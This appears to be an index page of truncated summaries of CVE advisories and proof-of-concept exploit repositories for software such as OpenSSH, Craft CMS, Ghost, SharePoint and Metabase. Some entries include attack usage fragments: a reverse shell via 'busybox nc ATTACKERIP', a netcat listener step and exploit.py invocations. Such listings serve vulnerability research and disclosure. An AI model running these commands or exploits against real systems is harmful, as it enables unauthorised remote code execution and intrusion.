Poc-CVE-2024-21542

Poc-CVE-2024-21542 Overview luigi is a package that helps you build complex pipelines of batch jobs. It handles dependency resolution, workflow management, visualization, handling failures, command line integration, and much more. Affected versions of this package are vulnerable to Arbitrary File...

PoC-CVE-2026-20841

PoC CVE-2026-20841 Description This project is a simple Proof of Concept PoC regarding Windows Notepad vulnerability about "remote code execution". Attackers have the ability to build a special .md file and by tricking users with Social Engineering skills into clicking the link within the .md fil...

CVE-2018-17553

CVE-2018-17553 CVE-2018-17553 PoC Navigate CMS version 2.8 and prior This proof of concept was put together when working on the Black Pearl box from TCM. I couldn't find anyone that put out a PoC other than just using Metasploit. As I'm avoiding Metasploit in my hacking journey to then go back an...

CVE-2026-0776

CVE-2026-0776 - Discord Client Uncontrolled Search Path Element Summary This repository documents CVE-2026-0776, a local code execution issue affecting the Discord Desktop Client on Windows. The vulnerability is related to unsafe module resolution behavior in Node.js-based components, which may...

CVE-2021-22053

CVE-2021-22053 CVE-2021-22053: Spring Cloud Netflix Hystrix Dashboard template resolution vulnerability Description Applications using both spring-cloud-netflix-hystrix-dashboard and spring-boot-starter-thymeleaf expose a way to execute code submitted within the request URI path during the...

MAL-2026-18392 Malicious code in @chatunitycenter/baileys (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 52978b0c3293c9df936b51c70527efeb5b0f496a59f0df857016fc781f876043 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

CVE-2026-118762

The Monkeytype typing test (prior to version 26.43.0 ) contains a vulnerability in the .github/workflows/fix-formatting.yml workflow. The workflow runs on pull_request_target with repository write permissions, allowing an external contributor to trigger the execution of an untrusted oxfmt binary ...

CVE-2026-118762 Monkeytype: fork PR can execute code with elevated GITHUB_TOKEN

Monkeytype is a minimalistic and customizable typing test. Prior to 26.43.0, the .github/workflows/fix-formatting.yml workflow runs on pullrequesttarget with repository write permissions, checks out a fork pull request, installs dependencies from the fork's package.json, and invokes the...

openssh-cve-2024-6387.sh

OpenSSH CVE-2024-6387 A vulnerability CVE-2024-6387 has been discovered in OpenSSH. Successful exploitation of this vulnerability allows a remote, unauthenticated attacker to execute arbitrary code as root on the target machine. All the glibc-based Linux distributions that have OpenSSH exposed ar...

CVE-2026-28695

CVE-2026-28695 Patch Bypass - Craft CMS Blind RCE Authenticated blind remote code execution in Craft CMS. Bypasses the create - BaseObject restriction added in the CVE-2026-28695 fix commit e31e508. Usage python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKERIP...

Sovereign-Echo-33017

Exploit Title: Langflow 1.8.1 - Unauthenticated Remote Code Execution RCE Date: 2026-03-21 Exploit Author: Americo N. F. Simoes SimoesCTT Vendor Homepage: https://www.langflow.org/ Software Link: https://github.com/langflow-ai/langflow Version: = 1.8.1 Tested on: Linux/Fedora 40 CVE: CVE-2026-330...

CVE-2026-29053

CVE-2026-29053 Ghost CMS RCE via jsonpath/static-eval prototype chain. Info CVE : CVE-2026-29053 Affected : Ghost -p 1. Start listener: nc -lvnp 2. Upload malicious-theme.zip to Ghost Admin → Settings → Design 3. Create page with slug rce 4. Visit /rce/ References...

CVE-2024-5082

Overview This repository contains a Python proof of concept for CVE-2024-5082 , a remote code execution vulnerability in Sonatype Nexus Repository Manager 2. The vulnerability allows a user with sufficient permission to publish a specially crafted Maven artifact and mark it for processing by the...

CVE-2023-43838

CVE-2023-43838 An arbitrary file upload vulnerability in Personal Management System v1.4.64 allows attackers to execute arbitrary code via uploading a crafted SVG file into a user profile's avatar. Additional Information 1. Create alert.svg with the following content: alert"huntr.dev"; 2. Host .S...

CVE-2026-1731

CVE-2026-1731 Blind RCE PoC Effected Versions: Privileged Remote Access : = 24.3.4 Remote Support : = 25.3.1 For further information I recommend you read the analysis by attackerkb.com. How to Build You will need to following tools to build this PoC: Git, rust 1. Clone my repository git clone...

ToolShell

Exploit for SharePoint ToolShell. Blog: https://blog.viettelcybersecurity.com/sharepoint-toolshell/ How to use: python exploit.py -u -c Eg: python exploit.py -u http://10.0.1.12/sites/test -c calc @l0gg...

CVE-2026-33725

CVE-2026-33725 A proof-of-concept exploit for CVE-2026-33725, a Remote Code Execution and Arbitrary File Read via H2 JDBC INIT Injection in EE Serialization Import in Metabase. Vulnerable Versions Metabase Enterprise ≥ v1.47 and v1.54.22 Metabase Enterprise ≥ v1.54.0 and v1.54.22 Metabase...

EUVD-2026-39473

Keycloak vulnerable to cross-site scripting xss via case-insensitive uri validation bypass...

EUVD-2023-60725

A remote code execution RCE vulnerability was identified in the FlexNet Publisher lmadmin web user interface. This vulnerability is addressed in the FlexNet Publisher 2023 R2 11.19.4.0 release...

CVE-2023-7357

A remote code execution (RCE) vulnerability exists in the FlexNet Publisher lmadmin web user interface. The underlying cause is categorized as CWE-829 (Inclusion of Functionality from Untrusted Control Sphere). This vulnerability can lead to unauthorized code execution on the system. The issue is...